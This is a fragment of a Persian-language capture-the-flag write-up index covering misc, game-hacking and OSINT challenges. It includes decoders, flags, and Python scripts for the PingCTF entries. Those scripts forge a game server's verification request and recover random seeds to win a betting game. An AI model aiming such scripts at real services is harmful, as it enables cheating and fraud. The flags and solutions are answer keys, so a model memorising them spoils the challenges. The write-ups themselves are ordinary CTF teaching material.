\u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0645\u06cc\u200c\u0646\u0648\u06cc\u0633\u06cc\u0645 \u06a9\u0647 \u0637\u0628\u0642 \u0627\u0648\u0646 \u0644\u06cc\u0646\u06a9\u200c\u0647\u0627\u06cc \u0645\u0631\u062c\u0639 \u0647\u0646\u062f\u0644 \u06a9\u0646\u0647 \u062f\u06cc\u06a9\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0631\u0634\u062a\u0647 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u0628\u0644\u0627\u06a9\u200c\u0647\u0627\u06cc \u06f5 \u0628\u06cc\u062a\u06cc.

class CCIR476:\n    def __init__(self):\n        self.CCIR_MODE = 1  # Default to letter mode\n        self.OLD_MODE = 1\n\n    def decode(self, CCIR):\n        if CCIR == 0x78: return '\\r'  # CR\n        if CCIR == 0x6C: return '\\n'  # LF\n        if CCIR == 0x5C: return ' '   # SP\n        if CCIR == 0x0F: return ''    # ALPHA\n        if CCIR == 0x33: return ''    # BETA\n        if CCIR == 0x66: return ''    # REP\n        if CCIR == 0x5A:\n            self.CCIR_MODE = 1\n            return ''\n        if CCIR == 0x36:\n            self.CCIR_MODE = 0\n            return ''\n\n        if self.CCIR_MODE == 1:\n            return self.decode_letter_mode(CCIR)\n        else:\n            return self.decode_figure_mode(CCIR)\n\n    def decode_letter_mode(self, CCIR):\n        letter_mode_mapping = {\n            0x47: 'A', 0x72: 'B', 0x1D: 'C', 0x53: 'D', 0x56: 'E', 0x1B: 'F', 0x35: 'G', 0x69: 'H',\n            0x4D: 'I', 0x17: 'J', 0x1E: 'K', 0x65: 'L', 0x39: 'M', 0x59: 'N', 0x71: 'O', 0x2D: 'P',\n            0x2E: 'Q', 0x55: 'R', 0x4B: 'S', 0x74: 'T', 0x4E: 'U', 0x3C: 'V', 0x27: 'W', 0x3A: 'X',\n            0x2B: 'Y', 0x63: 'Z'\n        }\n        return letter_mode_mapping.get(CCIR, '')\n\n    def decode_figure_mode(self, CCIR):\n        figure_mode_mapping = {\n            0x2D: '0', 0x2E: '1', 0x27: '2', 0x56: '3', 0x55: '4', 0x74: '5', 0x2B: '6', 0x4E: '7',\n            0x4D: '8', 0x71: '9', 0x4B: \"'\", 0x1B: '!', 0x1D: ':', 0x1E: '(', 0x35: '&', 0x39: '.',\n            0x3A: '/', 0x3C: '=', 0x47: '-', 0x53: '$', 0x59: ',', 0x63: '+', 0x65: ')', 0x69: '#',\n            0x72: '?'\n        }\n        return figure_mode_mapping.get(CCIR, '')\n\ndef ccir476_decode(binary_string):\n    n = 7\n    segments = [int(binary_string[i:i+n], 2) for i in range(0, len(binary_string), n)]\n\n    decoder = CCIR476()\n    decoded_message = ''.join([decoder.decode(segment) for segment in segments])\n\n    return decoded_message\n\nbinary_string = \"101101001101101101001110100110110101110100110100101101101010110101110010110100101110100111001101100101101101101000111100011110011011010101011001011101101010010111011100100011110101010110110101011010111001011010110100101101101010110101101011001011010011101110001101100101110101101010110011011100001101101101101010101101101000111010110110010111010110101100101100110111101000101011101110001101101101001010111001011101110001010111001011100011011\"\ndecoded_message = ccir476_decode(binary_string)\nprint(decoded_message)\n

\u0641\u0644\u06af \u0632\u06cc\u0631 \u067e\u0633 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0628\u0647 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0645\u06cc\u200c\u0622\u06cc\u062f.

FLAG

DUCTF{##TH3 QU0KK4'S AR3 H3LD 1N F4C1LITY #11911!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["DownUnderCTF","DownUnderCTF-2024","Misc"]},{"location":"misc/writeups/DUCTF/recipe/","title":"\u0686\u0627\u0644\u0634 Wacky Recipe","text":"

\u0641\u0627\u06cc\u0644 \u062a\u06a9\u0633\u062a \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0628\u0647 \u0686\u0627\u0644\u0634 \u06cc\u06a9 \u0645\u062a\u0646 \u0628\u0627 \u0641\u0631\u0645\u062a \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631 \u0622\u0645\u0627\u062f\u0647 \u06a9\u0631\u062f\u0646 \u063a\u0630\u0627 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u0627\u062f \u062f\u0631 \u0646\u06af\u0627\u0647 \u0627\u0648\u0644. \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u0634\u062f \u06cc\u06a9 \u0627\u0644\u06af\u0648\u06cc \u0645\u0646\u0627\u0633\u0628 \u0627\u0632 \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645\u060c \u0633\u0631\u0627\u063a \u0633\u0631\u0686 \u062a\u0648\u06cc \u06af\u0648\u06af\u0644 \u0645\u06cc\u0631\u06cc\u0645.

Chicken Parmi.\n\nOur Cyber Chef has been creating some wacky recipes recently, though he has been rather protective of his secret ingredients.\nUse this Chicken Parmi recipe and decipher the missing values to discover the chef's secret ingredient!\nThis recipe produces the flag in flag format.\n\nIngredients.\n27 dashes pain\n21 cups effort\n1 cup water\n4 kg bread crumbs\n26 ml hot canola oil\n13 kg egg yolks\n24 teaspoons all purpose spices\n7 teaspoons herbs\n26 kg flour\n26 kg sliced chicken breasts\n1 dashes salt\n11 dashes pepper\n7 dashes pride and joy\n10 kg tomato sauce\n14 g cheese\n13 kg ham\n2 g pasta sauce\n6 dashes chilli flakes\n5 kg onion\n9 dashes basil\n19 dashes oregano\n10 dashes parsley\n20 teaspoons sugar\n\nCooking time: 25 minutes.\n\nPre-heat oven to 180 degrees Celsius.\n\nMethod.\nPut water into 1st mixing bowl.\nAdd water to 1st mixing bowl.\nAdd water to 1st mixing bowl.\nAdd water to 1st mixing bowl.\nCombine pain into 1st mixing bowl.\nRemove bread crumbs from 1st mixing bowl.\nAdd effort to 1st mixing bowl.\nPut water into 1st mixing bowl.\nAdd water to 1st mixing bowl.\nCombine pain into 1st mixing bowl.\n.\n.\n.\n

\u0628\u0639\u062f \u0627\u0632 \u06a9\u0645\u06cc \u0633\u0631\u0686 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u200c\u0634\u06cc\u0645 \u06a9\u0647 Chef \u06cc\u06a9 \u0632\u0628\u0627\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc esoteric \u0647\u0633\u062a \u06a9\u0647 \u0628\u0627 \u0648\u062c\u0648\u062f \u0627\u06cc\u0646 \u0634\u06a9\u0644 \u0639\u062c\u06cc\u0628 \u063a\u0631\u06cc\u0628\u0634 \u062d\u062a\u06cc \u062a\u0648\u0631\u06cc\u0646\u06af-\u06a9\u0627\u0645\u067e\u0644\u062a \u0647\u0645 \u0647\u0633\u062a \u0648 \u0627\u0633\u0627\u0633 \u06a9\u0627\u0631\u0634 \u062f\u0627\u062f\u0647\u200c\u0633\u0627\u062e\u062a\u0627\u0631 \u0627\u0633\u062a\u06a9 \u0647\u0633\u062a. \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u0628\u0631\u0627\u06cc \u0645\u0637\u0627\u0644\u0639\u0647 \u0628\u06cc\u0634\u062a\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u0644\u06cc\u0646\u06a9 \u0645\u0631\u0627\u062c\u0639\u0647 \u06a9\u0646\u06cc\u062f. \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u062a\u0648\u0646\u06cc\u0645 \u0631\u0627\u0646\u0634 \u06a9\u0646\u06cc\u0645 \u0628\u0627\u06cc\u062f \u062f\u0648 \u0645\u0642\u062f\u0627\u0631 pain \u0648 effort \u0631\u0648 \u0628\u0647 \u062c\u0627\u06cc \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644 \u0628\u0627 \u0645\u0642\u062f\u0627\u0631 \u0639\u062f\u062f\u06cc \u062f\u0631\u0633\u062a \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0646\u06cc\u0645. \u0645\u06cc\u0634\u0647 \u0628\u0631\u0648\u062a\u200c\u0641\u0648\u0631\u0633 \u06a9\u0631\u062f \u0627\u0645\u0627 \u06a9\u0627\u0631 \u0647\u0648\u0634\u0645\u0646\u062f\u0627\u0646\u0647\u200c\u062a\u0631 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0686\u0648\u0646 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0627\u0633\u062a\u06a9 \u0647\u0633\u062a \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a\u200c\u0647\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647\u200c\u0634\u062f\u0647 \u0631\u0648\u06cc \u0645\u062a\u063a\u06cc\u0631\u200c\u0647\u0627 \u0647\u0645 \u0647\u0645\u0634\u0648\u0646 \u062e\u0637\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u0645\u0627 \u062f\u0648 \u062d\u0631\u0641 \u0627\u0648\u0644 \u0641\u0644\u06af \u06cc\u0639\u0646\u06cc D \u0648 U \u0631\u0648 \u0645\u06cc\u200c\u062f\u0648\u0646\u06cc\u0645\u060c \u06cc\u06a9 \u062f\u0648 \u0645\u0639\u0627\u062f\u0644\u0647 \u0648 \u062f\u0648 \u0645\u062c\u0647\u0648\u0644 \u062a\u0634\u06a9\u06cc\u0644 \u0628\u062f\u06cc\u0645 \u0648 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0645\u0646\u0627\u0633\u0628 \u0645\u062c\u0647\u0648\u0644\u0627\u062a \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 pain \u0645\u0642\u062f\u0627\u0631 \u06f2\u06f7 \u0648 effort \u0645\u0642\u062f\u0627\u0631 \u06f2\u06f1 \u062f\u0627\u0631\u0647. \u0646\u0647\u0627\u06cc\u062a\u0627 \u0628\u0639\u062f \u0627\u0632 \u062c\u0627\u06cc\u06af\u0630\u0627\u0631\u06cc \u0627\u06cc\u0646 \u0645\u0642\u0627\u062f\u06cc\u0631 \u062f\u0631 \u06a9\u062f \u0627\u0635\u0644\u06cc \u0648 \u0631\u0627\u0646 \u06a9\u0631\u062f\u0646\u0634 \u0628\u0647 \u0635\u0648\u0631\u062a \u0622\u0646\u0644\u0627\u06cc\u0646 \u062d\u0631\u0648\u0641 \u0641\u0644\u06af \u0642\u0627\u0628\u0644 \u0645\u0634\u0627\u0647\u062f\u0647 \u0627\u0633\u062a.

FLAG

DUCTF{2tsp_Vegemite}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["DownUnderCTF","DownUnderCTF-2024","Misc"]},{"location":"misc/writeups/OSCTF/captured_data/","title":"\u0686\u0627\u0644\u0634 Captured Data","text":"

\u0641\u0627\u06cc\u0644 \u0627\u06a9\u0633\u0644 \u0636\u0645\u06cc\u0645\u0647 \u0686\u0644\u0646\u062c \u0631\u0648 \u06a9\u0647 \u0628\u0627\u0632 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645\u060c \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0633\u062a\u0648\u0646 \u0627\u0648\u0644 \u06cc\u06a9\u0633\u0631\u06cc \u0632\u0645\u0627\u0646 \u0645\u062a\u0648\u0627\u0644\u06cc\u060c \u062f\u0631 \u0633\u062a\u0648\u0646 \u062f\u0648\u0645 \u062d\u0631\u0648\u0641 a, b, c, d, e, f \u062f\u0631 \u06af\u0631\u0648\u0647\u200c\u0647\u0627\u06cc \u062f\u0648\u062a\u0627\u06cc\u06cc \u0648 \u0634\u0634\u200c\u062a\u0627\u06cc\u06cc \u0648 \u062f\u0631 \u0633\u062a\u0648\u0646 \u0633\u0648\u0645 \u062f\u0631 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0633\u0637\u0631\u200c\u0647\u0627 DP \u0646\u0648\u0634\u062a\u0647 \u0634\u062f\u0647. \u062f\u0631 \u0646\u06af\u0627\u0647 \u0627\u0648\u0644 \u0634\u0627\u06cc\u062f \u0686\u06cc\u0632 \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0647 \u0686\u0634\u0645 \u0646\u06cc\u0627\u062f.

\u0628\u0627 \u0633\u0631\u0686 \u06a9\u0631\u062f\u0646 abcdef DP \u062f\u0631 \u06af\u0648\u06af\u0644 \u0645\u06cc\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646\u200c\u0647\u0627 \u062f\u0631 \u0648\u0627\u0642\u0639 pinout \u0647\u0627\u06cc \u06cc\u06a9 \u0645\u062f\u0627\u0631 7segment \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0647\u0645\u0648\u0646 \u0645\u062f\u0627\u0631 \u0646\u0645\u0627\u06cc\u0634 \u0627\u0631\u0642\u0627\u0645 \u062f\u0647\u062f\u0647\u06cc \u062f\u06cc\u062c\u06cc\u062a\u0627\u0644 \u0647\u0633\u062a\u0646\u062f \u0648 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0647\u0631 pin \u0645\u0633\u0626\u0648\u0644 \u0631\u0648\u0634\u0646\u200c\u06a9\u0631\u062f\u0646 \u06a9\u062f\u0627\u0645 \u0628\u062e\u0634 \u0647\u0633\u062a \u0645\u06cc\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u062a\u0648\u0627\u0644\u06cc abcdef \u0639\u062f\u062f 0 \u0648 \u062a\u0648\u0627\u0644\u06cc bc \u0639\u062f\u062f \u06f1 \u0648 DP \u06cc\u06a9 \u0646\u0642\u0637\u0647 \u0631\u0627 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f.

\u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0645\u06cc\u200c\u0646\u0648\u06cc\u0633\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u0627\u06a9\u0633\u0644 \u0631\u0627 \u0628\u0647 \u06cc\u06a9\u0633\u0631\u06cc \u0635\u0641\u0631 \u0648 \u06cc\u06a9 \u0645\u062a\u0648\u0627\u0644\u06cc \u062a\u0628\u062f\u06cc\u0644 \u06a9\u0646\u062f. \u0633\u067e\u0633 \u0628\u0627 \u0628\u0631\u0631\u0633\u06cc \u06f8 \u0628\u06cc\u062a \u0627\u0648\u0644 \u0648 \u06f8 \u0628\u06cc\u062a \u062f\u0648\u0645 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0647\u0631 \u06f8 \u0628\u06cc\u062a \u06a9\u062f \u0627\u0633\u06a9\u06cc \u06cc\u06a9 \u062d\u0631\u0641 \u0627\u0632 \u0641\u0644\u06af \u0631\u0627 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0639\u062f \u0627\u0632 \u062a\u062c\u0632\u06cc\u0647 \u06f8 \u0628\u06cc\u062a\u06cc \u0648 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 \u062d\u0631\u0648\u0641 \u0627\u0633\u06a9\u06cc\u060c \u0628\u0647 \u0641\u0644\u06af \u0646\u0647\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0631\u0633\u06cc\u0645.

import pandas as pd\n\ndf = pd.read_excel('output.xlsx', header=None)\n\nresult = []\n\nfor i in range(len(df)):\n    if df.iloc[i, 2] == 'DP':\n        if df.iloc[i-3, 2] == 'DP':\n            start = max(0, i - 2)\n        else:\n            start = max(0, i - 6)\n        sequence = ''.join(df.iloc[start:i, 1].dropna().tolist())\n        print(sequence)\n\n        if sequence == 'abcdef':\n            result.append('0')\n        elif sequence == 'bc':\n            result.append('1')\n\nbinary_string = ''.join(result)\nascii_text = ''.join(chr(int(binary_string[i:i+8], 2)) for i in range(0, len(binary_string), 8))\n\nprint(\"Flag:\", ascii_text)\n

\u0641\u0644\u06af \u0632\u06cc\u0631 \u067e\u0633 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0628\u0647 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0645\u06cc\u200c\u0622\u06cc\u062f.

FLAG

OSCTF{1nf0_d1spl4c3d}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["OSCTF","OSCTF-2024","Misc"]},{"location":"misc/writeups/PingCTF/internet-cat/","title":"Internet cat","text":"

Challenge :

aHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS90b21lazc2NjcvOTIzOTNhNTkyMDdkOTEzNzlmOWVlODc4NTg3OGI5OGIvcmF3LzNiNTM1NzJjMzQ0NTY0ZjMyMTE5NjA5MmMzMzg2M2EzODVjMTM2M2QvZ2lzdGZpbGUxLnR4dA==\n

Solve :

base64 in binary file -> gist file -> revisions -> octal (\\n) -> base64 -> hex -> base58 -> png -> qr code -> privatebin -> base64 -> zip -> password crack (billabong) -> extract with 7z\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Misc"]},{"location":"misc/writeups/PingCTF/ping-arcade/","title":"Ping arcade","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

\u0628\u0627 \u0631\u06cc\u0648\u0631\u0633 \u0647\u0627\u06cc \u0641\u0631\u0627\u0648\u0648\u0646 \u0645\u06cc\u0631\u0633\u06cc\u0645 \u0628\u0647 \u06cc\u0647 \u0646\u0648\u0639 \u0633\u0627\u062e\u062a \u0631\u0646\u062f\u0648\u0645 \u06a9\u0647 \u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u067e\u0631\u0648\u0698\u0647 \u067e\u0627\u06cc\u062a\u0648\u0646 \u0647\u0645 \u062f\u0627\u0631\u0646 \u062a\u0648 \u0627\u06cc\u0646 \u0644\u06cc\u0646\u06a9

https://github.com/mobaradev/UnifiedRandom

import random\nimport requests\nimport UnifiedRandom\n\nheaders = {\n    \"User-Agent\": \"UnityPlayer/2022.3.12f1 (UnityWebRequest/1.0, libcurl/8.1.1-DEV)\",\n    \"X-Unity-Version\": \"2022.3.12f1\",\n}\ncode = requests.get(\n    \"https://ping-arcade.knping.pl/start-game\", headers=headers\n).json()[\"accessCode\"]\nt = []\nrand = UnifiedRandom(code)\nrandb = UnifiedRandom(code)\nrandc = UnifiedRandom(code)\nfor i in range(64):\n    pulse = rand.get_number(0, 25) / 100.0\n    rate = randb.get_number(8, 25) / 100.0\n    block_index = randc.get_number(0, 5)\n    t.append(rate * block_index + pulse)\n\ntimes = \"-\".join(list(map(str, t)))\nprint(\n    requests.post(\n        \"https://ping-arcade.knping.pl/verify-game\",\n        headers=headers,\n        # proxies=proxies,\n        data={\n            \"accessCode\": code,\n            \"times\": times,\n            \"controlNumber\": randc.get_number(0, randc.get_number(0, 10000)) * 1.25 * 64,\n        },\n    ).json()\n)\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Misc","Game_Hacking","Random"]},{"location":"misc/writeups/PingCTF/wow/","title":"Wow","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

\u0628\u0647 \u0645\u062d\u0636 \u0648\u0635\u0644 \u0634\u062f\u0646 \u0628\u0647 \u0633\u0631\u0648\u0631 \u06cc\u0647 \u062a\u0639\u062f\u0627\u062f \u0631\u0646\u062f\u0648\u0645 \u0628\u0647 \u0633\u0645\u062a \u0645\u0627 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u0634\u0647 \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0627 \u0627\u0648\u0646 \u0631\u0646\u062f\u0648\u0645 \u0647\u0627 \u0633\u06cc\u062f \u0631\u0648 \u062a\u0634\u062e\u06cc\u0635 \u0628\u062f\u06cc\u0645 \u0648 \u0627\u062f\u0627\u0645\u0647 \u0645\u0627\u062c\u0631\u0627 =))

from pwn import *\nimport random\n\na = remote(\"57.128.196.218\", 20001)\n\na.sendline(b'y')\na.recvuntil(b'user_balance=')\ndef get_randoms(n: int):\n    randoms = []\n    while len(randoms) < n:\n        a.sendline(b'1')\n        for line in a.recvuntil(b'user_balance=').decode().split('\\n'):\n            if 'rolls' in line:\n                randoms.append(line.split('rolls ')[1])\n        randoms.append('END')\n    return randoms\n\nfirst = 100\nrands = get_randoms(30)\ncorrect = 0\nfor i in range(10_000_001):\n    random.seed(i)\n    for j in rands:\n        if j == 'END':\n            first = 100\n        elif int(j) == random.randint(1, first):\n            correct += 1\n            first = int(j)\n        else:\n            correct = 0\n    if correct > 10:\n        break\n\ndef i_will_win(number = 100, user = 'Safa'):\n    if user == 'Safa':\n        user = 'opponent'\n    else:\n        user = 'Safa'\n    a = random.randint(1, number)\n    if a == 1:\n        return False if user == 'Safa' else True\n    return i_will_win(a, user)\n\nbalance = int(a.recvline().decode())\nwhile balance < 10_000_000:\n    opponent_balance = 10_000_000 + 50 - balance\n    if i_will_win():\n        print(balance)\n        a.sendline(str(min(balance, opponent_balance)).encode())\n        balance *= 2\n    else:\n        a.sendline(b'1')\n        balance -= 1\n\nprint(a.clean(2))\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Misc","Random"]},{"location":"misc/writeups/PingCTF/you-spin-me-round/","title":"You spin me round","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

\u0627\u06cc\u0646\u0645 \u0645\u062b\u0644 \u0642\u0628\u0644\u06cc\u060c \u06cc\u0647 \u062a\u0639\u062f\u0627\u062f beep \u0648 boop \u062f\u0631\u06cc\u0627\u0641\u062a \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0633\u06cc\u062f \u0631\u0648 \u062a\u0634\u062e\u06cc\u0635 \u0628\u062f\u06cc\u0645

from pwn import *\n\np = remote(\"57.128.196.218\", 20000)\n\np.recvuntil(b\"\\n\\n\")\ns = p.recvline().decode()\na, b = s.count(\"BEEP\"), s.count(\"BOOP\")\np.recvuntil(b\"Task\")\np.recvuntil(b\": \")\ns = p.recvline().decode().strip()\nsplit = s.split(' ')\nfor i in range(1_000_000):\n    random.seed(i)\n    if random.randint(1, 100) == int(a):\n        if random.randint(1, 100) == int(b):\n            if random.randint(100, 10000) == int(split[0]):\n                if int(split[0]) // random.randint(1, 100) == int(split[4]):\n                    p.sendline(str(int(split[0]) // int(split[4])).encode())\n                    break\n\ndef task1():\n    random.randint(100, 10000)\n    return str(random.randint(1, 100)).encode()\n\ndef task2():\n    random.randint(100000, 1000000000)\n    return str(random.randint(1, 100000) / 100).encode()\n\ndef task3():\n    x = random.randint(100000, 1000000000) / 100\n    y = random.randint(1, 100000) / 100\n    p1, p2 = str(x % y).split('.')\n    ans = f\"{p1}{p2[0]}.{p2[1:]}e-1\"\n    return ans.encode()\n\ntask = 1\np.sendline(task2())\np.sendline(task3())\nfor i in range(996):\n    print(i, end='\\r')\n    t = random.randint(1, 3)\n    p.sendline(eval(f\"task{t}()\"))\n\nprint(p.clean(2))\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Misc","Random"]},{"location":"misc/writeups/SnappCTF/SnappOsint/","title":"\u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc Osint","text":"","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/SnappOsint/#snapp-saving","title":"\u0686\u0627\u0644\u0634 SNAPP Saving","text":"

\u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06cc\u06a9\u06cc \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u062f\u0633\u062a\u0647 OSINT \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 SNAPP CTF 2024 \u0648 \u0628\u0627 \u0633\u0637\u062d \u062f\u0634\u0648\u0627\u0631\u06cc \u0633\u0627\u062f\u0647 \u0628\u0648\u062f. \u0647\u062f\u0641 \u0627\u0632 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u06cc\u06a9\u06cc \u0627\u0632 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u0627\u0633\u0646\u067e \u0647\u0633\u062a \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0648\u0646 \u0645\u06cc\u200c\u062a\u0648\u0646\u0646\u062f \u062a\u0627 250 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0631\u0648 \u062f\u0631 \u0645\u0627\u0647 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u0646\u062f.

Info

\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0627\u0632 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0627\u0646\u062f\u0631\u0648\u06cc\u062f \u0627\u0633\u0646\u067e \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.

\u062f\u0644\u06cc\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0627\u0646\u062f\u0631\u0648\u06cc\u062f \u0627\u0633\u0646\u067e \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u062a\u0645\u0627\u0645 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u0627\u0633\u0646\u067e \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u062f\u0631 \u0627\u06cc\u0646 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0647\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0646\u062f \u0648 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0631\u0648 \u0633\u0627\u062f\u0647 \u062a\u0631 \u0645\u06cc\u06a9\u0646\u0647. \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u06a9\u0647 \u0628\u06cc\u0634\u062a\u0631\u06cc\u0646 \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0648 \u0628\u0627 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u062f\u0627\u0631\u0646\u062f \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u0645\u0639\u06cc\u0627\u0631 \u0645\u0627 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0647\u0631 \u0633\u0631\u0648\u06cc\u0633\u06cc \u06a9\u0647 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631 \u062a\u062e\u0641\u06cc\u0641 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u062f\u0647 \u06cc\u0627 \u0627\u0645\u06a9\u0627\u0646 \u067e\u0631\u062f\u0627\u062e\u062a \u0627\u0639\u062a\u0628\u0627\u0631\u06cc \u0631\u0648 \u0628\u0631\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u06a9\u0646\u0647 \u0645\u06cc\u062a\u0648\u0646\u0647 \u062c\u0648\u0627\u0628 \u0645\u0627 \u0628\u0627\u0634\u0647 \u0686\u0648\u0646 \u062a\u0645\u0627\u0645 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u062f\u0646 \u06a9\u0647 